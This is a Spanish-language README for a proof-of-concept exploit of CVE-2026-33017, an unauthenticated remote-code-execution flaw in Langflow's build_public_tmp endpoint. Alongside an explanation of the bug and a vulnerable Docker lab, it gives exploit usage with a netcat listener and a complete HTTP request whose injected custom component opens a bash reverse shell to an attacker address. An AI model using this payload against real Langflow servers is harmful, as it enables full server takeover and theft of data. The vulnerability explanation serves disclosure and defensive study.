
Prueba de concepto de exploit para CVE-2026-33017, un RCE no autenticado en el endpoint build_public_tmp de Langflow, que inyecta un componente personalizado malicioso para obtener una reverse shell.
★ CVE-2026-33017 Langflow Remote Code Execution PoC ★
https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7
Utiliza los siguientes comandos para construir y ejecutar el entorno vulnerable de Langflow:
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln
Después de iniciar la instancia vulnerable de Langflow, ejecuta el PoC con la URL objetivo, el ID del flujo Público y la dirección de callback del atacante.
Opción A — usa tu propio listener:
# Terminal 1: start a listener
nc -lvnp 4444
# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444
Opción B — usa el listener integrado con --listen:
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
| Opción | Descripción |
|---|---|
--url | URL del servidor Langflow objetivo |
--flow-id | UUID del flujo Público compartido |
--lhost | IP de callback del atacante |
--lport | Puerto de callback del atacante |
--listen | Ejecuta el listener integrado en lugar de un nc externo |
CVE-2026-33017 es una vulnerabilidad de Ejecución Remota de Código (RCE) en el proceso de construcción de flujos Públicos de Langflow, una plataforma de código abierto para construir visualmente aplicaciones LLM y flujos de trabajo de IA.
Al enviar datos de flujo manipulados al endpointbuild_public_tmpsin autenticación, un atacante puede provocar que se ejecute código Python arbitrario en el servidor.
CVE-2026-33017 afecta al siguiente endpoint de construcción de flujos Públicos en Langflow, una plataforma de código abierto para crear visualmente aplicaciones LLM y flujos de trabajo de IA.
POST /api/v1/build_public_tmp/{flow_id}/flow
Un flujo Público en Langflow está diseñado para ser compartido con otros usuarios mediante un enlace o un mecanismo similar.
Para soportar esta funcionalidad, el endpoint de construcción prepara el flujo para su ejecución sin requerir autenticación, leyendo los nodos, aristas y configuraciones del flujo, y luego construyendo el grafo de ejecución interno necesario para ejecutarlo.
El problema era que las versiones vulnerables de build_public_tmp aceptaban no solo la información del flujo Público almacenada en el servidor, sino también el campo data proporcionado en el cuerpo de la solicitud.
Este campo data podía contener la definición completa del flujo, incluyendo:
Como resultado, un atacante podía usar una solicitud no autenticada para inyectar una estructura de flujo completamente controlada por el atacante en lugar de depender del flujo Público legítimo almacenado en el servidor.
Una parte particularmente peligrosa de este diseño es la funcionalidad de Componente Personalizado.
En Langflow, un componente representa un bloque funcional individual responsable de tareas como el manejo de entradas, la invocación de modelos o la generación de salidas. Un componente personalizado es un bloque extensible que permite a los usuarios definir su comportamiento directamente en código Python.
Un atacante podía por lo tanto incrustar un componente personalizado que contuviera código Python malicioso dentro del objeto data manipulado, y el servidor lo procesaría como si fuera una parte normal del flujo. Como resultado, el código inyectado podía ser analizado y ejecutado durante el proceso de construcción o ejecución, lo que finalmente conduce a la ejecución remota de código.
| Categoría | Versión |
|---|---|
| Vulnerable | Langflow anterior a 1.9.0 |
| Parcheada | Langflow 1.9.0 y posteriores |
El GitHub Security Advisory lista el rango afectado como
<= 1.8.2, pero la corrección — la eliminación del parámetrodata— se aplicó en 1.9.0. Por lo tanto, todas las versiones anteriores a 1.9.0 (incluyendo 1.8.3 / 1.8.4) están afectadas, razón por la cual el CVE Record indica< 1.9.0.
La explotación exitosa de esta vulnerabilidad puede permitir a un atacante tomar el control del servidor Langflow y llevar a cabo acciones posteriores como:
El siguiente PoC demuestra CVE-2026-33017 en Langflow 1.8.1.
El atacante primero identifica el flow_id de un flujo Público objetivo.

El atacante envía una solicitud build_public_tmp que inyecta un componente personalizado cuyo code Python se ejecuta en el servidor durante la construcción temporal. En la solicitud a continuación, el valor de code se deja como marcador de posición — inserta el payload tú mismo (ver la nota debajo de la solicitud).
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
Durante el proceso de construcción, el código incrustado en el componente personalizado se ejecuta en el servidor. Cuando se utiliza la variante de reverse shell (automatizada por exploit.py), se establece una conexión de vuelta al listener del atacante, otorgando al atacante una shell interactiva para ejecutar comandos arbitrarios en el servidor.

Aunque build_public_tmp estaba destinado a construir flujos Públicos, las versiones vulnerables aún aceptaban un campo data directamente desde el cuerpo de la solicitud.